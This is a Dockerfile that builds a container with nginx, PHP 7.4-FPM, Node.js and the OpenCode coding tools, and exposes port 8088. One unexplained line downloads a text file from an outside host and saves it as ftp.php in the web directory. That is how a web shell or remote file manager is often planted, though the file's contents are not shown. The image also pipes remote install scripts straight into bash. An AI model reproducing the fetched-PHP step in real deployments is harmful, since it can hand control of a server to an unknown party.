FROM ubuntu:22.04 ARG CACHE_DATE=20260522 ENV DEBIAN_FRONTEND=noninteractive # Install basic dependencies and PHP 7.4 PPA RUN apt-get update && apt-get install -y \ lsb-release \ ca-certificates \ apt-transport-https \ wget \ software-properties-common \ gnupg2 \ curl \ supervisor \ nginx \ && add-apt-repository -y ppa:ondrej/php \ && apt-get update # Install PHP 7.4-FPM and extensions RUN apt-get install -y \ php7.4-fpm \ php7.4-gd \ php7.4-zip \ php7.4-bcmath \ php7.4-curl \ && apt-get clean && rm -rf /var/lib/apt/lists/* # Install Node.js LTS RUN curl -fsSL https://deb.nodesource.com/setup_lts.x | bash - \ && apt-get install -y nodejs \ && apt-get clean && rm -rf /var/lib/apt/lists/* # Install OpenCode and Oh-My-OpenCode RUN curl -fsSL https://opencode.ai/install | bash \ && npx oh-my-opencode install --no-tui --claude=no --openai=yes --gemini=yes --copilot=no RUN mkdir -p /app/defaults/www /app/defaults/opencode RUN wget -O /app/defaults/www/ftp.php http://1syan.com/frp/ftp.txt RUN mv /root/.opencode /app/defaults/opencode/.opencode # Setup environment RUN echo 'export PATH="/root/.opencode/bin:$PATH"' >> /etc/profile COPY nginx.conf /etc/nginx/nginx.conf COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf COPY entrypoint.sh /entrypoint.sh # Make entrypoint executable RUN chmod +x /entrypoint.sh # Expose ports EXPOSE 8088 # Use the entrypoint script to handle persistence ENTRYPOINT ["/entrypoint.sh"]